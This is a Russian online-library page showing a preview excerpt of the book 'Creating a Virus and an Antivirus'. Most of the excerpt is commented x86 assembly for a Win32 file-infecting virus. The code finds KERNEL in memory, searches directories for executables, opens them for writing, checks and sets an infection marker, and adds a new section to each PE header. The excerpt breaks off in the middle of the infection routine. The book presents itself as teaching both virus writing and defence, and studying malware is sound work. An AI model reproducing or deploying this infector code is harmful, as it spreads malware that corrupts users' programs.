Игорь Гульев - Создаем вирус и антивирус

Здесь есть возможность читать онлайн «Игорь Гульев - Создаем вирус и антивирус» — ознакомительный отрывок электронной книги совершенно бесплатно, а после прочтения отрывка купить полную версию. В некоторых случаях можно слушать аудио, скачать через торрент в формате fb2 и присутствует краткое содержание. Жанр: Прочая околокомпьтерная литература, на русском языке. Описание произведения, (предисловие) а так же отзывы посетителей доступны на портале библиотеки ЛибКат.

Создаем вирус и антивирус: краткое содержание, описание и аннотация

Предлагаем к чтению аннотацию, описание, краткое содержание или предисловие (зависит от того, что написал сам автор книги «Создаем вирус и антивирус»). Если вы не нашли необходимую информацию о книге — напишите в комментариях, мы постараемся отыскать её.

Virus Warning!
С этим сообщением, хоть раз в жизни, сталкивался любой пользователь компьютера. Вирмейкеры с упорством маньяков плодят все новые и новые разновидности вирусов. Бытует мнение, что избавиться от них можно лишь с помощью сложных и дорогостоящих новейших антивирусных программ. Это не совсем верно – знание принципов действия и способов внедрения вирусов поможет вовремя их обнаружить и локализовать, даже если под рукой не окажется подходящей антивирусной «вакцины».
В этой книге вы найдете обширный материал, посвященный проблеме защиты информации, рассмотренной с обеих сторон баррикад (как от лица вирмейкера, так и создателя антивирусов).

Создаем вирус и антивирус — читать онлайн ознакомительный отрывок

Ниже представлен текст книги, разбитый по страницам. Система сохранения места последней прочитанной страницы, позволяет с удобством читать онлайн бесплатно книгу «Создаем вирус и антивирус», без необходимости каждый раз заново искать на чём Вы остановились. Поставьте закладку, и сможете в любой момент перейти на страницу, на которой закончили чтение.

Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать

xchg al,ah

;Переведем старший байт в ASCII−формат

call HexWrite8

;Восстановим младший байт из стека

pop ax

;Переведем младший байт в ASCII−формат

call HexWrite8

ret

HexWrite16 endp

;Процедура перевода двойного слова в ASCII−формат для печати.

;Значение, находящееся в регистре EAX, будет записано

;в ASCII−формате по адресу ES:EDI

HexWrite32 proc

;Сохраним младшее слово из стека

push eax

;Загрузим старшее слово в регистр AX

shr eax, 16

;Переведем старшее слово в ASCII−формат

call HexWrite16

;Восстановим младшее слово из стека

pop eax

;Переведем младшее слово в ASCII−формат

call HexWrite16

ret

HexWrite32 endp

;Сделаем процедуру WndProc доступной извне

public WndProc

ends

;Здесь начинается код вируса. Этот код переписывается из файла

;в файл. Все вышеописанное – всего лишь программа−носитель

vladseg segment para public ”vlad”

assume cs:vladseg

vstart:

;Вычислим текущий адрес

call recalc

recalc:

pop ebp

mov eax,ebp

db 2Dh ;Код команды SUB AX

subme dd 30000h+(recalc−vstart)

;Сохраним адрес в стеке

push eax

;Вычислим стартовый адрес вирусного кода

sub ebp,offset recalc

;Ищем KERNEL. Возьмем вторую известную нам точку KERNEL

mov eax,[ebp+offset kern2]

;Проверим ключ. Если ключа нет, перейдем к точке 1

cmp dword ptr [eax],5350FC9Ch

jnz notkern2

;KERNEL найден, точка 2

mov eax,[ebp+offset kern2]

jmp movit

;Точка 2 не подошла, проверим точку 1

notkern2:

;Возьмем адрес первой известной нам точки KERNEL

mov eax,[ebp+offset kern1]

;Проверим ключ, если ключа нет – выходим

cmp dword ptr [eax],5350FC9Ch

jnz nopayload

;KERNEL найден, точка 1

mov eax,[ebp+offset kern1]

;KERNEL найден, адрес точки входа находится в регистре EAX

movit:

;Сохраним адрес KERNEL

mov [ebp+offset kern],eax

cld

;Запомним текущую директорию

lea eax,[ebp+offset orgdir]

push eax

push 255

call GetCurDir

;Инициализируем счетчик заражений

mov byte ptr [ebp+offset countinfect],0

;Ищем первый файл

infectdir:

lea eax,[ebp+offset win32_data_thang]

push eax

lea eax,[ebp+offset fname]

push eax

call FindFile

;Сохраним индекс для поиска

mov dword ptr [ebp+offset searchhandle],eax

;Проверим, найден ли файл. Если файл не найден,

;меняем директорию

cmp eax,–1

jz foundnothing

;Откроем файл для чтения и записи

gofile:

push 0

push dword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL

push 3 ;OPEN_EXISTING

push 0

push 0

push 80000000h+40000000h ;GENERIC_READ+GENERIC_WRITE

lea eax,[ebp+offset fullname]

push eax

call CreateFile

;Сохраним описатель файла

mov dword ptr [ebp+offset ahand],eax

;Проверим, не произошла ли ошибка.

;Если ошибка произошла, ищем следующий файл

cmp eax,–1

jz findnextone

;Поставим указатель позиции чтения/записи на поле

;со смещением PE−заголовка

push 0

push 0

push 3Ch

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Считаем адрес PE−заголовка

push 0

lea eax,[ebp+offset bytesread]

push eax

push 4

lea eax,[ebp+offset peheaderoffset]

push eax

push dword ptr [ebp+offset ahand]

call ReadFile

;Поставим указатель позиции чтения/записи на начало PE−заголовка

push 0

push 0

push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Считаем число байт, достаточное для вычисления полного размера

;PE−заголовка и таблицы объектов

push 0

lea eax,[ebp+offset bytesread]

push eax

push 58h

lea eax,[ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call ReadFile

;Проверим сигнатуру. Если ее нет, закрываем

;этот файл и ищем следующий

cmp dword ptr [ebp+offset peheader],00004550h;

jnz notape

;Проверим файл на зараженность. Если файл заражен,

;то закрываем этот файл и ищем следующий

cmp word ptr [ebp+offset peheader+4ch],0F00Dh

jz notape

cmp dword ptr [ebp+offset 52],4000000h

jz notape

;Поставим указатель позиции чтения/записи на начало PE−заголовка

push 0

push 0

push dword ptr [ebp+offset peheaderoffset]

push dword ptr [ebp+offset ahand]

call SetFilePointer

;Считаем весь PE−заголовок и таблицу объектов

push 0

lea eax,[ebp+offset bytesread]

push eax

push dword ptr [ebp+offset headersize]

lea eax,[ebp+offset peheader]

push eax

push dword ptr [ebp+offset ahand]

call ReadFile

;Установим признак заражения

mov word ptr [ebp+offset peheader+4ch],0F00Dh

;Найдем смещение таблицы объектов

xor eax,eax

mov ax, word ptr [ebp+offset NtHeaderSize]

add eax,18h

mov dword ptr [ebp+offset ObjectTableoffset],eax

;Вычислим смещение последнего (null) объекта в таблице объектов

mov esi,dword ptr [ebp+offset ObjectTableoffset]

lea eax,[ebp+offset peheader]

add esi,eax

xor eax,eax

mov ax,[ebp+offset numObj]

mov ecx,40

xor edx,edx

mul ecx

add esi,eax

;Увеличим число объектов на 1

inc word ptr [ebp+offset numObj]

lea edi,[ebp+offset newobject]

xchg edi,esi

;Вычислим относительный виртуальный адрес (Relative Virtual Address

;или RVA) нового объекта

mov eax,[edi−5*8+8]

add eax,[edi−5*8+12]

mov ecx,dword ptr [ebp+offset objalign]

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset RVA],eax

;Вычислим физический размер нового объекта

mov ecx,dword ptr [ebp+offset filealign]

mov eax,vend−vstart

xor edx,edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp+offset physicalsize],eax

;Вычислим виртуальный размер нового объекта

Читать дальше
Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать

Похожие книги на «Создаем вирус и антивирус»

Представляем Вашему вниманию похожие книги на «Создаем вирус и антивирус» списком для выбора. Мы отобрали схожую по названию и смыслу литературу в надежде предоставить читателям больше вариантов отыскать новые, интересные, ещё непрочитанные произведения.


Отзывы о книге «Создаем вирус и антивирус»

Обсуждение, отзывы о книге «Создаем вирус и антивирус» и просто собственные мнения читателей. Оставьте ваши комментарии, напишите, что Вы думаете о произведении, его смысле или главных героях. Укажите что конкретно понравилось, а что нет, и почему Вы так считаете.

x